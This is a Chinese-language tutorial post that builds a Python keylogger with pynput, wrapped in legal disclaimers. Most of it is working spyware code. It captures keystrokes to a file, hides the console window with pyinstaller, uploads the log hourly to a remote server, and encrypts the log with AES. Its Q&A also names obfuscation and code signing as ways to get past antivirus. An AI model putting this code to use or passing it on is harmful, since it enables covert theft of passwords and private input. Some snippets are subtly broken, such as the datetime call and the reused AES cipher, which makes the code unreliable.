Python案例如何实现键盘记录?从原理到实战的完整指南
目录导读
- 键盘记录器是什么?合法性与伦理边界
- 核心依赖库:
pynputvskeyboard选型分析 - Python实现键盘记录的完整代码案例
- 代码逐行解析:事件捕获、日志存储与进程隐藏
- 进阶技巧:过滤特殊按键、定时上传与加密存储
- 常见问题与解答(Q&A)
- 注意事项:如何合法使用键盘记录技术
键盘记录器是什么?合法性与伦理边界
键盘记录器(Keylogger)是一种能够记录用户按键操作的程序或硬件设备,在Python中,通过监听系统底层输入事件,可以实时捕获每一次键击。但请注意:未经被记录者明确同意而部署键盘记录器,在多数国家(包括中国、美国、欧盟)属于违法行为,可能触犯《刑法》《网络安全法》或《计算机欺诈和滥用法》,本文仅提供技术学习案例,严禁用于非法监控。

核心依赖库:pynput vs keyboard 选型分析
| 特性 | pynput |
keyboard |
|---|---|---|
| 跨平台 | Windows/macOS/Linux | 仅Windows |
| 安装复杂度 | pip install pynput 简单 |
pip install keyboard 需管理员权限 |
| 支持特殊键 | 支持组合键(如Ctrl+C) | 支持全局热键注册 |
| 后台运行 | 可自行封装为服务 | 集成度高但易被杀软检测 |
| 适用场景 | 教学、轻量级记录 | 游戏宏、自动化脚本 |
推荐:教程场景使用pynput,因其跨平台且无需额外权限,更易理解事件驱动模型。
Python实现键盘记录的完整代码案例
以下是一个基础但完整的键盘记录器,包含按键捕获、日志存储和优雅退出机制:
from pynput import keyboard
import datetime
import os
# 日志文件路径
LOG_FILE = "keylog.txt"
def on_press(key):
"""按键按下时的回调函数"""
try:
# 处理普通字符按键
if hasattr(key, 'char') and key.char is not None:
log_entry = f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Key: {key.char}\n"
else:
# 处理特殊按键(如Shift, Ctrl, F1等)
log_entry = f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Special Key: {key}\n"
with open(LOG_FILE, "a", encoding="utf-8") as f:
f.write(log_entry)
except AttributeError:
pass
def on_release(key):
"""按键释放时的回调函数(用于退出监听)"""
if key == keyboard.Key.esc: # 按ESC键退出
print("键盘记录已停止,日志保存在:", os.path.abspath(LOG_FILE))
return False
# 启动键盘监听(非阻塞主线程)
if __name__ == "__main__":
print("键盘记录已启动,按ESC键停止...")
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
运行方式:保存为keylogger.py,在终端执行python keylogger.py,程序会记录所有按键,并在按下Esc键后停止,日志保存至当前目录下的keylog.txt。
代码逐行解析:事件捕获、日志存储与进程隐藏
核心机制解剖
- 事件监听:
keyboard.Listener是一个守护线程,自动捕获系统全局按键事件。 - 回调函数:
on_press在每次按键按下时触发,key参数是pynput.keyboard.Key或pynput.keyboard.KeyCode对象。 - 特殊按键处理:
hasattr(key, 'char')判断是否为普通字符(如字母、数字),否则为功能键(如Key.ctrl_l、Key.space)。 - 日志存储:使用追加模式写入文件,每条记录带时间戳,便于审计。
- 优雅退出:通过
on_release监听Esc键并返回False,从而终止listener。
进程隐藏技巧(非必要,仅用于学习)
若需在Windows后台运行,可将脚本打包为.exe并配置为无窗口执行:
pip install pyinstaller pyinstaller --noconsole --onefile keylogger.py
生成的可执行文件启动后无控制台窗口,在任务管理器中会显示为keylogger.exe。
进阶技巧:过滤特殊按键、定时上传与加密存储
1 过滤空格和回车等无效按键
IGNORED_KEYS = {keyboard.Key.space, keyboard.Key.enter, keyboard.Key.tab}
def on_press(key):
if key in IGNORED_KEYS:
return # 跳过空格、回车等
# 其余处理同上...
2 定时上传至远程服务器(需配合HTTPS)
import requests
import time
from threading import Timer
def upload_log():
with open(LOG_FILE, 'r') as f:
data = f.read()
try:
requests.post('https://your-server.com/upload', data={'log': data}, timeout=5)
except:
pass
Timer(3600, upload_log).start() # 每小时上传一次
# 在主函数启动后调用
upload_log()
3 使用AES加密日志文件
from Crypto.Cipher import AES
import base64
# 加密写入(需要安装pycryptodome)
cipher = AES.new(b'16byte_key_12345', AES.MODE_EAX)
def write_encrypted(plaintext):
ciphertext, tag = cipher.encrypt_and_digest(plaintext.encode())
with open(LOG_FILE, 'ab') as f:
f.write(cipher.nonce + tag + ciphertext)
常见问题与解答(Q&A)
Q1:运行后没有任何反应,也不记录按键?
A:检查Python版本是否为3.6+,并确保以管理员/root权限运行(尤其在Linux/macOS),尝试执行pynput官方示例确认库是否正常。
Q2:程序一启动就被杀毒软件删除?
A:键盘记录行为特征明显,任何杀软都会标记为风险,解决方案包括:对源码进行混淆、使用数字签名、添加至白名单,但请记住:绕过杀软的攻击性手段可能违法。
Q3:如何在macOS上获取按键权限?
A:macOS 10.14+ 要求“辅助功能”权限,前往 系统偏好设置 → 安全性与隐私 → 隐私 → 辅助功能,勾选你的Python解释器或终端应用。
Q4:能否同时记录中文输入法下的按键?
A:pynput捕获的是底层按键扫描码,无法直接获取IME转换后的汉字,若需记录最终文本,可配合pyperclip监听剪贴板变化。
注意事项:如何合法使用键盘记录技术
- 明确告知与授权:在企业环境中,务必在员工手册或开机弹窗中声明监控政策,并获得书面同意。
- 仅限安全测试:在获得授权的渗透测试中,可使用此技术发现输入安全漏洞(如明文密码录入)。
- 教育目的:用于教授操作系统事件处理机制、多线程编程等课程时,代码应仅在虚拟机或测试机中运行。
- 法律风险提示:中国《刑法》第285条、美国《计算机欺诈及滥用法》、欧盟GDPR均对未经授权的数据收集有严厉处罚,最高可判处有期徒刑。
延伸阅读:若想深入学习,可研究pynput的鼠标监听、pyHook的全局钩子机制,或使用ctypes直接调用Windows API(SetWindowsHookEx)实现更高阶的键盘钩子。
技术本身并无善恶,关键在于使用者的意图,掌握Python键盘记录实现,应当是为了提升系统安全性,而非侵犯他人隐私。